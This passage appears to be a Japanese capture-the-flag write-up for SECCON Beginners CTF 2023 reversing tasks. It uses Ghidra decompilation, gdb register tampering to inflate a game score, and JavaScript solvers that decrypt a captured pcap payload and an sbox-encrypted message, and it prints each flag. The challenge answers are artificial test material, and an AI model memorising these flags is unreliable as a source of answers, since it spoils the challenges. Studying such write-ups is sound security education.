for(i=0; i<80; i+=4){
if(f0.length>i)flag += String.fromCharCode(parseInt(f0[i],16));
if(f1.length>i)flag += String.fromCharCode(parseInt(f1[i],16));
if(f2.length>i)flag += String.fromCharCode(parseInt(f2[i],16));
}
document.write(flag);
</script>
ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3}
みんなでポーカーで遊ぼう!点数をたくさん獲得するとフラグがもらえるみたい!
でもこのバイナリファイル、動かしてみると...?実行しながら中身が確認できる専門のツールを使ってみよう!
Poker.tar.gz 90920728f7e3757e105c71df2cfda0ffb534cf99
ゲームをするプログラム。プレーヤー1か2を選んで当たったらスコアが増える。連勝が必要そうだ。
Ghidraで解析するとゲーム用の関数がいくつか見つかる。勝ち負け判定をしている関数を示す。
ulong FUN_00101fb7(int param_1,int param_2)
{
undefined8 uVar1;
int iVar2;
time_t tVar3;
uint local_1dc;
uint uStack452;
uint uStack444;
undefined8 local_1b8;
undefined8 local_1b0;
int local_18;
int local_14;
int local_10;
int local_c;
local_14 = 0;
local_c = 0;
while (local_c < 4) {
local_10 = 1;
while (local_10 < 0xe) {
*(int *)(&local_1b8 + local_14) = local_c;
*(int *)((long)&local_1b8 + (long)local_14 * 8 + 4) = local_10;
local_14 = local_14 + 1;
local_10 = local_10 + 1;
}
local_c = local_c + 1;
}
tVar3 = time((time_t *)0x0);
srand((uint)tVar3);
local_c = 0;
while (local_c < 0x34) {
iVar2 = rand();
local_18 = iVar2 % 0x34;
uVar1 = (&local_1b8)[local_c];
(&local_1b8)[local_c] = (&local_1b8)[iVar2 % 0x34];
(&local_1b8)[local_18] = uVar1;
local_c = local_c + 1;
}
uStack444 = (uint)((ulong)local_1b8 >> 0x20);
uStack452 = (uint)((ulong)local_1b0 >> 0x20);
if (uStack452 < uStack444) {
if (param_2 == 1) {
puts("[+] Player 1 wins! You got score!");
local_1dc = param_1 + 1;
}
else {
puts("[-] Player 1 wins! Your score is reseted...");
local_1dc = 0;
}
}
else {
if (uStack444 < uStack452) {
if (param_2 == 2) {
puts("[+] Player 2 wins! You got score!");
local_1dc = param_1 + 1;
}
else {
puts("[-] Player 2 wins! Your score is reseted...");
local_1dc = 0;
}
}
else {
puts("[+] It\'s a tie! Your score is reseted...");
local_1dc = 0;
}
}
return (ulong)local_1dc;
}
ゲームの全体進行は手持ちのGhidraでは関数としては解析できなかったので、該当するアセンブリコードを抜き出す。
0010227a e8 44 ff CALL FUN_001021c3 undefined FUN_001021c3(void)
ff ff
0010227f c7 45 f8 MOV dword ptr [RBP + -0x8],0x0
00 00 00 00
00102286 eb 3f JMP LAB_001022c7
LAB_00102288 XREF[1]: 001022cb(j)
00102288 8b 45 fc MOV EAX,dword ptr [RBP + -0x4]
0010228b 89 c7 MOV EDI,EAX
0010228d e8 90 ff CALL FUN_00102222 undefined FUN_00102222(uint para
ff ff
00102292 b8 00 00 MOV EAX,0x0
00 00
00102297 e8 dd fe CALL FUN_00102179 ulong FUN_00102179(void)
ff ff
0010229c 89 45 f4 MOV dword ptr [RBP + -0xc],EAX
0010229f 8b 55 f4 MOV EDX,dword ptr [RBP + -0xc]
001022a2 8b 45 fc MOV EAX,dword ptr [RBP + -0x4]
001022a5 89 d6 MOV ESI,EDX
001022a7 89 c7 MOV EDI,EAX
001022a9 e8 09 fd CALL FUN_00101fb7 ulong FUN_00101fb7(int param_1,
ff ff
001022ae 89 45 fc MOV dword ptr [RBP + -0x4],EAX
001022b1 83 7d fc 63 CMP dword ptr [RBP + -0x4],0x63
001022b5 7e 0c JLE LAB_001022c3
001022b7 e8 e4 ee CALL FUN_001011a0 undefined8 FUN_001011a0(void)
ff ff
001022bc b8 00 00 MOV EAX,0x0
00 00
001022c1 eb 0f JMP LAB_001022d2
LAB_001022c3 XREF[1]: 001022b5(j)
001022c3 83 45 f8 01 ADD dword ptr [RBP + -0x8],0x1
LAB_001022c7 XREF[1]: 00102286(j)
001022c7 83 7d f8 62 CMP dword ptr [RBP + -0x8],0x62
001022cb 7e bb JLE LAB_00102288
001022cd b8 00 00 MOV EAX,0x0
00 00
LAB_001022d2 XREF[1]: 001022c1(j)
001022d2 c9 LEAVE
001022d3 c3 RET
gdbでアタッチして勝ち負けを判定するFUN_00101fb7を呼ぶところ(001022a9)を確認すると、FUN_00101fb7に引数で増やすscoreの値が渡されているので、ここでレジスタを書き換えてscoreを大きく増やせそうだ。
FUN_00101fb7を呼ぶところでset $rdi = 1000
で引数を変更、運が良ければ[+] Player 1 wins! You got score!
などとscoreが増える。
一気に1000scoreを増やしたところ、[!] You got a FLAG! ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}
とflagが表示された。
ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}
サーバーから不審な通信を検出しました!
調査したところさらに不審なファイルを発見したので、通信記録と合わせて解析してください。
機密情報が流出してしまったかも...?
Leak.tar.gz 490838f1586dc1a7a9347ea879beb78575555b88
実行バイナリとpcapファイルが配布される。pcapファイルをWireSharkで開いてTCPストリームを調べると短いバイト列が見つかる。
8e57ff5945da900628b2abfa497332334a7329413c34b7f66273250f954016fa47e9228da5cd3d53eeb4b3518ed289935be059cbfbb11b
実行バイナリのほうをGhidraで逆コンパイルすると暗号化関数を発見。
void encrypt(char *__block,int __edflag)
{
byte bVar1;
ulong in_RCX;
long in_RDX;
undefined4 in_register_00000034;
long in_FS_OFFSET;
byte local_123;
byte local_122;
uint local_120;
uint local_11c;
byte abStack280 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_120 = 0;
while (local_120 < 0x100) {
abStack280[local_120] = (char)local_120 + 0x35;
local_120 = local_120 + 1;
}
local_120 = 0;
local_11c = 0;
while (local_120 < 0x100) {
local_11c = (uint)abStack280[local_120] +
*(byte *)(in_RDX + (ulong)local_120 % in_RCX) + local_11c & 0xff;
bVar1 = abStack280[local_120];
abStack280[local_120] = abStack280[local_11c];
abStack280[local_11c] = bVar1;
local_120 = local_120 + 1;
}
local_122 = 0;
local_123 = 0;
local_120 = 0;
while ((ulong)local_120 < CONCAT44(in_register_00000034,__edflag)) {
local_123 = local_123 + 1;
local_122 = local_122 + abStack280[(int)(uint)local_123];
bVar1 = abStack280[(int)(uint)local_123];
abStack280[(int)(uint)local_123] = abStack280[(int)(uint)local_122];
abStack280[(int)(uint)local_122] = bVar1;
__block[local_120] =
__block[local_120] ^
abStack280
[(int)(uint)(byte)(abStack280[(int)(uint)local_122] + abStack280[(int)(uint)local_123])];
local_120 = local_120 + 1;
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
__blockに入った入力文字列を最終的に暗号化用の配列で順番にXORをしているだけなので、abStack280の中身がわかればいい。試しにこのコードを動くように書き直してみたがなぜか上手く行かない。
仕方がないのでgdbでアタッチして、XORされる部分のデータをflagの文字数分だけ書き写した。書き写すのは逆アセンブルしたつ次の部分でECXレジスタの値となる。
00101518 31 ce XOR __edflag,ECX
これを使ってJavaScriptで復号コードを書いた。
var pcap = "8e57ff5945da900628b2abfa497332334a7329413c34b7f66273250f954016fa47e9228da5cd3d53eeb4b3518ed289935be059cbfbb11b";
var __block = [];
for(var i=0; i<pcap.length/2; i++)__block[i] = parseInt(pcap.substr(i*2,2),16);
c = [0xed,0x23,0x99,0x6d,0x27,0xa1,0xe0,0x32,0x51,0xed,0xc5,0xca,0x16,0x47,0x46,0x47,0x2f,0x1d,0x5d,0x70,0xc,0x5a,0xe8,0x82,0x52,0x2c,0x51,0x3b,0xf4,0x34,0x49,0x97,0x73,0x87,0x7d,0xef,0xc0,0xa5,0xc,0x3d,0x8a,0xeb,0xc7,0x65,0xeb,0x8d,0xea,0xe6,0x29,0xd4,0x38,0xfa,0x95,0xcc];
for(var i=0; i<c.length; i++)document.write(String.fromCharCode(__block[i] ^ c[i]))
ctf4b{p4y_n0_4ttent10n_t0_t4at_m4n_beh1nd_t4e_cur4a1n}
メッセージを暗号化するプログラムを作りました。
<解読してみてください!
Heaven.tar.gz f088ab04b586f9f424144dab142796cd3c8d333a
ひたすら根気よくgdbを回して解いた。実行バイナリとlogが配布される。
log.txt$ ./heaven
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 0
message: ctf4b{---CENSORED---}
encrypted message: ca6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7f
実行バイナリを動かしてみると、繰り返し暗号化ができる。
$ ./heaven
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 0
message: ctf4b{*******************}
encrypted message: 2322fb127e650a00000000000000000000000000000000000000f3
$ ./heaven
------ menu ------
0: encrypt message
1: decrypt message
2: exit
> 0
message: ctf4b{*******************}
encrypted message: 4db3627baf0272a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a1a198
適当に文字列を暗号化すると、同一の文字は同じ暗号文に変換されるが、実行毎に暗号結果が変わることがわかった。
Ghidraで逆アセンブルしてmain関数を確認する。
undefined8 main(void)
{
byte bVar1;
int iVar2;
uint uVar3;
uint uVar4;
char *pcVar5;
long lVar6;
uint *puVar7;
uint *puVar8;
long lVar9;
long lVar10;
bool bVar11;
byte local_21;
char local_20 [8];
getrandom(&local_21,1,0);
while( true ) {
while( true ) {
puts("------ menu ------");
puts("0: encrypt message");
puts("1: decrypt message");
puts("2: exit");
__printf_chk(1,&DAT_00402045);
pcVar5 = fgets(local_20,8,stdin);
if (pcVar5 == (char *)0x0) {
return 0;
}
lVar6 = strtol(local_20,(char **)0x0,10);
iVar2 = (int)lVar6;
if (iVar2 != 1) break;
puts("TODO: implement decrypt_message()");
}
if (iVar2 == 2) break;
if (iVar2 == 0) {
__printf_chk(1,"message: ");
fgets(message,0x100,stdin);
puVar8 = (uint *)message;
do {
puVar7 = puVar8;
uVar3 = *puVar7 + 0xfefefeff & ~*puVar7;
uVar4 = uVar3 & 0x80808080;
puVar8 = puVar7 + 1;
} while (uVar4 == 0);
bVar11 = (uVar3 & 0x8080) == 0;
bVar1 = (byte)uVar4;
if (bVar11) {
bVar1 = (byte)(uVar4 >> 0x10);
}
if (bVar11) {
puVar8 = (uint *)((long)puVar7 + 6);
}
lVar6 = (long)puVar8 + (-0x4041c3 - (ulong)CARRY1(bVar1,bVar1));
if (lVar6 != 0) {
lVar6 = lVar6 + -1;
if (lVar6 != 0) {
lVar9 = 0;
do {
lVar10 = lVar9 + 1;
bVar1 = calc_xor();
message[lVar9] = sbox[bVar1];
lVar9 = lVar10;
} while (lVar6 != lVar10);
}
__printf_chk(1,"encrypted message: %02x",(ulong)local_21);
print_hexdump(message,lVar6);
}
}
}
return 0;
}
最初にgetrandomを実行しており、引数から1バイトの乱数が使われている。であれば256分の1の確率で再現するのでは、と期待してctf4bを入力して数十回試したが当たらなかった。
気を取り直してmain関数を見ると、入力されたmessageはsboxを使って文字列を置換していることがわかる。sboxの内容はGhidra上で確認できる。置換する位置はcalc_xor()で計算されているが、Ghidraでは上手く中身が見えないのでgdbで確認してみる。
注意深くcalc_xorの実行を追っていく。
calc_xorを呼ぶ直前。引数に与えられている文字列は、arg[0]がこのループで暗号化する対象文字で、arg[1]が起動毎に決定される乱数で暗号鍵である。
xorを行うところで止めた様子。RAXの対象文字とRSIの暗号鍵を演算する。
しかしもう1ステップ進めると内容が少し変化して、RAXの対象文字のバイト値が1小さくなる。XORは同じ。
xorを抜けるとRAXが変化する。この場合、直前のRAXの0x24とRSIの0x41のXORが0x24となるのでXORされている。つまり入力文字mに対して、(m-1)^keyを計算している。
また出力される暗号化文字列は、例えば今回はctf4bを暗号化したところ、410e7419def5が得られた。元の文字列より1文字分多く、先頭の41は暗号鍵となっている。
以上から、問題の暗号文ca6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7fはcaが暗号鍵で6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7fが暗号文である。これを復号するコードを懲りずにJavaScriptで書いた。
<script>
sbox = "c2 53 bb 80 2e 5f 1e b5 17 11 00 9e 24 c5 cd d2 7e 39 c6 1a 41 52 a9 99 03 69 8b 73 6f a0 f1 d8 f5 43 7d 0e 19 94 b9 36 7b 30 25 18 02 a7 db b3 90 98 74 aa a3 20 ea 72 a2 8e 14 5b 23 96 62 a4 46 22 65 7a 08 f6 12 ac 44 e9 28 8d fe 84 c3 e3 fb 15 91 3a 8f 56 eb 33 6d 0a 31 27 54 f9 4a f3 bf 4b da 68 a1 3c ff 38 a6 3e b7 c0 9a 35 ca 09 b8 8c de 1c 0c 32 2a 0f 82 ad 64 45 85 d1 af d9 fc b4 29 01 9b 60 75 ce 4f c8 cc e2 e4 f7 d4 04 67 92 e5 c7 34 0d f0 93 2c d5 dd 13 95 81 88 47 9d 0b 1f 5e 5d a8 e7 05 6a ed 2b 63 2f 4c cb e8 c9 5a dc c4 b0 e1 7f 9f 06 e6 57 be bd c1 ec 59 26 f4 b1 16 86 d7 70 37 4d 71 77 df ba f8 3b 55 9c 79 07 83 97 d6 6e 61 1d 1b a5 40 ab bc 6b 89 ae 51 78 b6 b2 fd fa d3 87 ef ee e0 2d 4e 3f 6c 66 5c 7c 10 cf 49 48 21 8a 3d f2 76 d0 42 50 58 00".split(" ");
key = "ca";
enc = "6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7f";
x = parseInt(key,16);
for(i=0;i<enc.length/2;i++) {
index = sbox.indexOf(enc.substr(i*2,2))
document.write(String.fromCharCode((index^x)+1));
}
</script>
ctf4b{ld_pr3l04d_15_u53ful}
Welcome to SECCON Beginners CTF 2023!
フラグはDiscordサーバのannouncementsチャンネルにて公開されています。
- https://discord.gg/6sKxFmaUyS
ctf4b{Welcome_to_SECCON_Beginners_CTF_2023!!!}